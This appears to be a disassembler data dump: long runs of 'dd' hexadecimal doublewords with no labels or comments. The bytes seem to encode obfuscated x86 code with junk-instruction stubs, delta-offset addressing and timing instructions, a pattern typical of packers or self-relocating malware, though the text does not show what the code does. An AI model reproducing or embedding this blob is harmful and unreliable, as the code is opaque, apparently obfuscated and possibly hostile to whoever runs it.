		dd 0D8A8E781h, 0B689BD83h, 0F00064Bh, 3584h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 5CFB2324h, 2F55BD8Bh, 81660648h, 0E958CFDBh,	21h, 22D59D8Bh
		dd 30500648h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0CF8166FFh, 6A093Ch, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8B8F96C3h
		dd 4829E59Dh, 0D9BD8306h, 306482Ah, 432850Fh, 0B5890000h
		dd 64817F5h, 0B689BD83h, 0F00064Bh, 41F84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 89B5FFAAh, 6A064BB6h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0DC1EC350h,	32A81717h
		dd 1555BD8Bh, 0FFFC0648h, 4809F595h, 0DD853106h, 8B064812h
		dd 4BB67DB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0E87F3C8Ch, 0Bh, 0B2DC8BCh, 89BB8DD5h
		dd 17CF378h, 482F1585h,	6C75B06h, 10001h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ch, 50C35646h, 0C1DF1BBDh
		dd 0D0733AD1h, 0E9606050h, 14h,	2981DFDBh, 0A8AA4129h
		dd 0E8CDA16Fh, 79C5AD80h, 0AC1CBFD4h, 310F5250h, 6061585Ah
		dd 11E9h, 3E54F400h, 2D55C2DEh,	0C163A3D6h, 113154EDh
		dd 61616637h, 6A243489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 79BCC357h, 3D5ED17Dh
		dd 0EB5558F7h, 0B689B5FFh, 95FF064Bh, 6480061h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 5AC35646h, 5D51DC00h
		dd 9995894Dh, 8B064832h, 4BB67DB5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0D749429h
		dd 0ADBD2933h, 8B064827h, 480F2585h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0E381664Ah
		dd 86891E8Fh, 0C4h, 1405958Bh, 0C2830648h, 9D8B6004h, 6480329h
		dd 51858957h, 5B064809h, 20508961h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 1CC35343h, 8DB89136h, 4BCAD485h
		dd 0DABF0F06h, 0B88689h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0BCB4CDC3h, 0B36B80B6h
		dd 6A84DEA8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0E1186478h, 0A081C409h, 598529FBh
		dd 6606482Eh, 0EF81D98Bh, 6E69B5h, 0B689B5FFh, 0F60064Bh
		dd 38Ah, 0CFBF0F00h, 616FF480h,	5195FFh, 6A0648h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 89E95FC3h, 482EF985h, 0ADBD0B06h, 5006480Bh,	0B3243489h
		dd 21B58907h, 0FF064820h, 4BB689B5h, 60DE8B06h,	2BB99589h
		dd 8D8B0648h, 64808E1h,	2995FF61h, 6A064814h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 6B57C357h, 81DEEF68h, 0A9BD833Ah, 64831h, 48840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0FAAB2AC3h, 0EDCE77Bh, 50DCF2C1h, 6E5466BFh,	24348951h
		dd 2FB9BD8Bh, 0E9570648h, 0Dh, 0B6730097h, 17783EDh, 66353047h
		dd 0B5FF5FEEh, 64BB689h, 9E9h, 3F2D7400h, 7E67D461h, 0DA8B29E7h
		dd 13FD95FFh, 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0B5FFC7C3h, 64BB689h, 5870Fh, 81660000h
		dd 0FF148DCBh, 48177D95h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 8C0F3F69h
		dd 2, 7DBBFB8Bh, 832B0999h, 482F1DBDh, 840F0206h, 58h
		dd 1551858Bh, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 9ADCB3C3h, 4B98ECBBh, 0C627A5FFh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 3E6605C3h, 0D1D80F8h, 8589E2C2h, 64821DDh
		dd 16E185C7h, 648h, 95290000h, 648239Dh, 0FFF1AFE9h, 57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0AC8C1C9Fh, 1C5352B0h, 8589B4E0h, 648320Dh, 6AC18Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0EA2C7FC3h, 0F8EC1B4Ch, 8D1747AEh, 48125585h, 4751BF06h
		dd 89500E87h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0A788B7C3h, 44BFE93Ah, 6A3368FCh
		dd 919D2900h, 6A064808h, 0D4858D00h, 6A064C43h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 8EB0C356h, 79A4CE83h, 0CD9D0155h, 83064830h,	0BB6605C0h
		dd 669044C6h, 50CDFDBBh, 38BB2BBFh, 8E99061h, 9F000000h
		dd 77081090h, 6AD20A6Ch, 0E9006A00h, 0Ah, 1CC3BD48h, 6096B030h
		dd 95FFC79Fh, 6482B2Dh,	0BE9h, 40ABA800h, 4DED302Fh, 0A506F7ABh
		dd 99388D8Dh, 8E0F064Bh, 1, 6AD1FFF8h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 780AC350h
		dd 0A72B5B7Ah, 0E5BD8367h, 1064830h, 5B850Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 7941F6C3h, 0BD8B026Ah, 6480FDDh, 0E8D0F60h, 0E9000000h
		dd 9, 0DEEE78DEh, 0B45283F2h, 219509ABh, 61064820h, 24048950h
		dd 0EFEDBF66h, 5195FFh
		dd 36BB0648h, 8937B262h, 480BB98Dh, 0F19E906h, 0E80000h
		dd 5D000000h, 43DEED81h, 6A064Ch, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0A9859CC3h, 6820FC6h
		dd 89000000h, 480C2585h, 99858906h, 0E906482Ah,	0Eh, 7BF01AB8h
		dd 10747925h, 0F05CD6Ch, 858D5FDBh, 64B93DAh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0D2C35242h, 37DB2776h
		dd 5390F900h, 6810Fh, 52500000h, 585A310Fh, 0E1B7505Fh
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 2790CC47h, 0CF81C285h, 20E2A1F6h, 2F69B589h
		dd 0FF640648h, 35h, 0D18D2900h,	6406482Fh, 2589h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 77C18DC3h, 0F8AA31FFh, 0D185FFCCh, 6A06481Ah, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 1FA0C351h, 0C78AA236h, 9D10EB21h, 0D58D0156h, 5F064829h
		dd 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 5B1BF9C3h, 9DCBB2Ah, 4809199Dh, 95336006h
		dd 6481581h, 0D89B589h,	0FF610648h, 480F1DB5h, 99D8B06h
		dd 0FF06480Dh, 4810D995h, 13EE906h, 0BD8B0000h,	64805F9h
		dd 5820Fh, 81660000h, 0B0860AD3h, 919D8B00h, 0E606481Bh
		dd 65BD0370h, 0E4064833h, 9E971h, 6D600000h, 0B94136CCh
		dd 3C91C3A0h, 5830F61h,	66000001h, 75BED381h, 60C8B60Fh
		dd 1599858Bh, 81660648h, 61F265C7h, 6BAF5h, 810F0000h
		dd 6, 14B99529h, 0C18B0648h, 13E960h, 5C20000h,	3A4880Eh
		dd 87DE3D2Fh, 4E7A5DACh, 4293718Eh, 63EE81EAh, 6105D50Ch
		dd 8904E8C1h, 482A159Dh, 0E2F76606h, 6860Fh, 0BD8B0000h
		dd 6480825h, 5F53C82Bh,	8D31D18Bh, 6483309h, 0EE9h, 7E95300h
		dd 0E6000000h, 0E664CE43h, 8B5BB3EDh, 4819A985h, 61BD2B06h
		dd 8306480Fh, 0F38107C0h, 46332E80h, 8B00C083h,	4831099Dh
		dd 0FD03B06h, 2183h, 8810F00h, 56000000h, 102D8529h, 0E95B0648h
		dd 4Ch,	9E9h, 0AAB8E900h, 438E7049h, 8D8B24F6h,	6480125h
		dd 23A59589h, 0E1830648h, 29840F01h, 60000000h,	0E098503h
		dd 0DE8B0648h, 25A58361h, 0FE064801h, 17BD8589h, 89F50648h
		dd 4819A995h, 399D2906h, 0E9064800h, 0
		dd 0D639B58Dh, 6A064Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 9D096DC3h, 648335Dh, 56EF8160h
		dd 8B53C04Bh, 480CC59Dh, 6A6106h, 0C3D9D8Bh, 95FF0648h
		dd 648092Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	94C35141h, 0BF1229A8h, 6455804h, 0F17B9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0E977E76Ch, 10h, 1299DFE3h, 0E5690D7Ah, 13657289h, 34BE9DA0h
		dd 0FA9CE781h, 0E1831FC1h, 52006AFCh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0CF96D910h
		dd 9D8B9AA8h, 6480129h,	51006AFCh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0E0165E48h, 4B7FC82Eh
		dd 53C02B64h, 0C63DDF81h, 2B5B1D34h, 11E957D2h,	0B3000000h
		dd 25C2DABh, 0B1E75626h, 65D24C13h, 0CC7D62B3h,	0C233AD5Fh
		dd 0D003E8D1h, 7504E983h, 0C9BD89F4h, 0E9064816h, 8, 0CB6C6613h
		dd 0EB857680h, 1B059589h, 880D0648h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 1FA6C350h, 0BF00F3BCh, 870FB368h, 6,	8159D8Bh, 958B0648h
		dd 6481405h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	16C35545h, 2FA86AE9h, 56F1B348h, 0B4DF8166h, 8D8B5FD0h
		dd 6483025h, 16818529h,	8B500648h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0FFC35646h, 8E0FCBF8h, 1Eh, 12E8h, 0AED9F800h
		dd 0BD9F56h, 0F8C2D319h, 136C6E34h, 89E72E99h, 48186D85h
		dd 0BD835B06h, 64812FDh, 79840F00h, 0F000000h, 0CB81F8BFh
		dd 36AB63B9h, 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 4C432C46h, 2C44D062h
		dd 4E808D8Dh, 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0AEDA10C3h, 0BB43E9D1h, 6AE1FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 4D2463C3h, 2AD9BD83h, 0F000648h, 4B484h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 308A1550h, 6019D1BEh, 0CE9h,	5C4B00h, 18F744Eh, 8889AB2Fh
		dd 0DF8B6659h, 35BD8B61h, 83064809h, 482AD9BDh,	840F0106h
		dd 484h, 9E9h, 0BDC11300h, 770932C2h, 0BD83FC37h, 6482AD9h
		dd 33860F03h, 29000004h, 48107DB5h, 0BD8B6006h,	6480A89h
		dd 6AD98C66h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 230FC357h, 0CA325DF4h,	9D85D8EEh
		dd 11C98D31h, 0E1800648h, 3810F04h, 66000000h, 0C90AD98Bh
		dd 151840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0A86607C3h, 0F7D963FBh, 23799D23h
		dd 0BD8B0648h, 6480775h, 1159858Bh, 6A0648h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0CBD5D1C3h
		dd 0D70FB1CBh, 31319D8Bh, 0CB800648h, 19853339h, 6A064812h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 7CA9C352h, 0FC6515CDh, 8166A058h,	90DED2D7h
		dd 0DE8A5250h, 0DC8A310Fh, 6050585Ah, 0B6FB80B9h, 0A3D5BF01h
		dd 906173DFh, 30CDBD8Bh, 6A0648h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0CFC35242h,	0BAC9956Eh, 0A3DD5469h
		dd 10E9h, 0C1BC5500h, 32394290h, 187B9AEh, 14398CF7h, 0F54D68CAh
		dd 0FB8B26C3h, 0B2243481h, 8B26DCF6h, 483171BDh, 4195FF06h
		dd 6A064807h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 338C355h, 0C89597E3h, 8589FC0Ch
		dd 64BB689h, 0E9FB8B66h, 1E4h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0E6C35141h,	8BFB8BB4h, 4BB68185h
		dd 6E806h, 7F630000h, 7417D3BCh, 27D19D31h, 0C75F0648h
		dd 1800h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 5D8D89DAh, 8B064833h, 4BB685B5h
		dd 85858B06h, 0E806481Ah, 0Fh, 0B4662B4Ch, 1315CB9Fh, 0F862E490h
		dd 89569254h, 4804559Dh, 6895B06h, 8BDFBF0Fh, 48115985h
		dd 3DD78106h, 89388902h, 6A0446h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 1A7ED0C3h, 3D7AA206h
		dd 9D2953FCh, 64830BDh,	8B66965Fh, 0F98B50DEh, 53006A96h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0E5914DA3h, 519D0361h, 0FF06482Bh, 4BB681B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 4761105Fh, 9D6CC050h, 0BDBD8B92h, 68064810h,	0CC4290A0h
		dd 60605250h, 84BE6661h, 310F6187h, 5ADF8B66h, 24048158h
		dd 33DC735Fh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Bh,	0D0C35747h, 9F04E2BBh, 8B40F11Bh, 4829A5BDh, 89858D06h
		dd 6A064BB6h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 1C41C357h, 3222778Eh, 34B5E429h
		dd 24048950h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	0F5C35141h, 31519529h, 95FF0648h, 6480741h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 67C35545h, 0BD8BF553h
		dd 64803C1h, 51006A61h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 3159E76Eh, 0C16C64FCh, 0CE9h, 31602800h
		dd 569E0345h, 3EE9A20Fh, 22BF6619h, 359D8B8Ch, 0C7064813h
		dd 482AD985h, 306h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0E90DD58Bh, 9,	98405E2Ah
		dd 92A0E23Fh, 89BD830Ah, 64BB6h, 4C840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 89FE90C3h, 4817798Dh, 3FE906h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 95842EC3h
		dd 3195BD89h, 30500648h, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 9CFAB2D7h, 0FE9h, 37452D00h
		dd 0ED67993Ah, 0AC10346Ah, 96191DB4h, 32FD9589h, 0BD830648h
		dd 6482AD9h, 50850F03h,	6A000004h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 9CD5C350h
		dd 895CEB0Dh, 482A31BDh, 0DE906h, 250E0000h, 0C9817FDEh
		dd 14745DEEh, 83996D47h
		dd 4BB689BDh, 840F0006h, 40Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0A4C35141h,	617856Ah, 89B5FFC5h
		dd 6A064BB6h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 34DC352h, 7836F526h, 9D8B5896h
		dd 64830BDh, 9F595FFh, 6A0648h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0B8553FC3h, 0DE495006h
		dd 8BB889FBh, 4BB67DB5h, 6C7FC06h, 10001h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0CFC35545h, 0BC564D06h
		dd 0CF816058h, 23DC059Ch, 0EE86096h, 67000000h,	9615C4DDh
		dd 0B658C2F3h, 0BC7346F4h, 0F5250C7h, 59585A31h, 5061EA8Ah
		dd 0FFBB6660h, 6E96049h, 19000000h, 0D4437422h,	61616009h
		dd 0BD8B9661h, 648007Dh, 0B689B5FFh, 6A064Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 2698E1C3h
		dd 91BEC0Ch, 48153D9Dh,	0DABF0F06h, 6195FFh, 95890648h
		dd 6482849h, 0B67DB58Bh, 860F064Bh, 6, 299DBD89h, 858B0648h
		dd 6480F25h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0F4C35646h, 308F3DE6h, 0BD8B688Dh, 64801F1h, 1155BD01h
		dd 86890648h, 0C4h, 20C2BF66h, 1405958Bh, 6ABB0648h, 836FDCFEh
		dd 8B6604C2h, 8C380FBh,	0BF205089h, 69CD6812h, 0CAD4858Dh
		dd 0CE9064Bh, 0A5000000h, 6C8F293Fh, 0C53EFD42h, 89710ECCh
		dd 0B886h, 15B52900h, 6A064805h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0C265BBD9h
		dd 89609ECAh, 482BBDB5h, 14E806h, 0DFA60000h, 9169F162h
		dd 9ADA1409h, 0B6350049h, 94B748CFh, 50B14A0Ah,	0B5FF615Eh
		dd 64BB689h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	39C35343h, 0E6B4FFD4h, 0BD8B287Dh, 648313Dh, 5195FFh
		dd 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0EF97EDC3h, 295335B7h, 0E996F05Bh, 11h, 7B6012EFh
		dd 1D77BF35h, 0B3A5D3EAh, 9C4AD622h, 0F505078h,	8Fh, 6A965F00h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 367AC351h, 9D03C117h, 64812C9h, 0F8AEAEBBh
		dd 89B5FF2Ch, 6A064BB6h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0B2C9C357h,	0F1B0DCCh
		dd 8DB7B791h, 95FFB0B3h, 6481429h, 8B01F781h, 0B5892B34h
		dd 6481089h, 31A9BD83h,	0F000648h, 3084h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 7291D055h, 0BBCE905Dh, 51BB6696h, 8B9650AFh,	480EF19Dh
		dd 89B5FF06h, 6A064BB6h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 8062C350h, 71BD8B67h
		dd 0FF06480Ah, 4813FD95h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 560A58F6h
		dd 14F1B509h, 0B5FF0648h, 64BB689h, 0FF24F380h,	48177D95h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8969B607h, 48303DBDh, 0BD096006h, 6481C05h
		dd 5661CE8Bh, 7DDBD29h,	835B0648h, 482F1DBDh, 840F0206h
		dd 17h,	2B91BD8Bh, 4ABF0648h, 8B3B39BAh, 48155185h, 0C6F98B06h
		dd 0C7F80000h, 4816E185h, 6, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0B97DD1DAh
		dd 42BFD074h, 0E960691Ch, 0FFFFF258h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 46C35141h, 7DB9779h, 0CDC0F715h
		dd 0B99D29F9h, 8B064809h, 57006AC1h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 7FCD8E12h
		dd 8DF886E6h, 48125585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 0E41E7FF5h, 122F3220h
		dd 90FFE780h, 0DA8B6650h, 1BD8B90h, 6A064807h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 1699AB9Fh, 6AC15FB9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 8DF73941h, 4C555D85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 280A42F3h, 838FCA7Dh, 6A05C0h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8BF3A7C3h
		dd 48121DBDh, 8B669006h, 0BE850DAh, 0F0000000h,	7207F37h
		dd 4BC35280h, 0EE9D578h, 0D6000000h, 989057D7h,	7217916Fh
		dd 4B45593h, 6A905FF9h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0FEA3C351h,	0B6A744D9h
		dd 253485C9h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 2F9E1AC3h, 20019D01h, 6A0648h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0ADC35646h, 32ABA2F1h
		dd 11E9FB38h, 0A8000000h, 81E06F61h, 0B22E2AA4h, 0EB8B9C2Bh
		dd 0DE2D2DA2h, 2B2D95FFh, 6A0648h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0E05416C3h, 47F2DA7Ch
		dd 1059BD8Bh, 8D8D0648h, 64B9938h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 38C35545h, 5369F3D3h, 87BFBF9Dh
		dd 0FF6AC5B1h, 50006AD1h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0B04781D5h, 0C67BBBE7h
		dd 8351F780h, 4830E5BDh, 850F0106h, 62h, 0E6A7FBBBh, 0B026A4Bh
		dd 482305BDh, 89BF5006h, 89255A11h, 6A2404h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 27BC53C3h
		dd 0C3EBCA71h, 95FFC772h, 6480051h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 7C35545h, 0A25B501h, 0B0E90648h
		dd 0E800000Eh, 0
		dd 67ED815Dh, 6A064C55h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 8F6EC350h, 41953160h
		dd 0E8064814h, 10h, 0B7BF75A0h,	50C4D285h, 7B2F2A7h, 8745BD82h
		dd 5BF1BF0Fh, 0CB816661h, 6AB684h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 8DC103C3h, 2B918D89h
		dd 0BD230648h, 6482B41h, 93DA858Dh, 6A064Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0BC7BF9C3h
		dd 6C09598Fh, 805C8234h, 6690F5DFh, 50C1CBBFh, 12E8h, 6493F300h
		dd 0DC32C795h, 25694DEBh, 76D8A93Fh, 6068F7CDh,	5B615A53h
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 640CF444h, 35FFh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 89643EC3h
		dd 25h,	50006A00h, 3E8h, 0C3582000h, 24448958h,	24448104h
		dd 1404h, 0C3504000h, 0FFDE8BDFh, 481AD185h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 66995B00h, 6ADEB70Fh, 51006AFFh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0EED2B7C6h, 0D48C44B0h
		dd 0FFF88220h, 481A1DB5h, 0CF816606h, 95FF6C27h, 64810D9h
		dd 113E9h, 0A19D8B00h, 0B006481Ch, 61BD8B00h, 0E6064823h
		dd 5E970h, 1A680000h, 0E4C956C0h, 0EB81F971h, 429178F6h
		dd 830F613Ch, 0E8h, 26E9BD0Bh, 0B60F0648h, 0F2BB66C8h
		dd 6BA82h, 0C18B0000h, 31CF781h, 0E8C173D2h, 0FA8B6004h
		dd 11E8h, 50234B00h, 0A97FF60Ch, 0F9AD2C18h, 1CEF6DDh
		dd 0E580BB78h, 6661595Bh, 860FE2F7h, 7,	0DF816656h, 2B5BA75Fh
		dd 29D18BC8h, 482F8995h, 0AE906h, 5E90000h, 0BD000000h
		dd 24C466FBh, 1745858Bh, 6E80648h, 9E000000h, 0F1986244h
		dd 0F7CF81A7h, 5B6DDBAAh, 8B07C083h, 4809399Dh,	0C08306h
		dd 44DBD2Bh, 0D03B0648h, 17830Fh, 95890000h, 6480BE1h
		dd 47E9h, 6800F00h, 8B000000h, 480085BDh, 0C98D8B06h, 0B06482Fh
		dd 4805F99Dh, 1E18306h,	26840Fh, 0CBF0000h, 0BB5937EAh
		dd 2ABCEDA1h, 2FC9A583h, 8BFE0648h, 4814959Dh, 45958906h
		dd 60064817h, 0E961CC8Ah, 0
		dd 0E73EB58Dh, 0FB8B064Bh, 8C48EB81h, 6A1C48h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0DC35747h, 0EB57389Eh
		dd 0A0217ABEh, 7E9DBh, 656B0000h, 9444F8F2h, 0B9950161h
		dd 0FF06482Fh, 48092D95h, 8E95706h, 32000000h, 3A352C40h
		dd 5F4A319Fh, 910B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0C620F8DEh, 40226D46h
		dd 0EE83Ch, 0C2030000h,	0BFB5048h, 0C9A671CBh, 60B08A95h
		dd 12E8h, 732C5600h, 849C1622h,	73854E53h, 0BE3693A5h
		dd 0BB18559Fh, 28D4C68h, 83FC5F5Bh, 7DBFFCE1h, 0FC2A740Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 50C35040h
		dd 668CFD18h, 0B8FE8Bh,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0FE8CC356h
		dd 0BAF98A8Ch, 0
		dd 8719D8Bh, 33AD0648h,	3E8D1C2h, 4E983D0h, 6AF475h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 452C70C3h, 868FE50h,	8BDF923Fh, 45BD8BF9h, 0D06482Fh
		dd 88h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh
		dd 44C35242h, 0BF71625Fh, 0ACAC28D3h, 5958BD0h,	6A064814h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
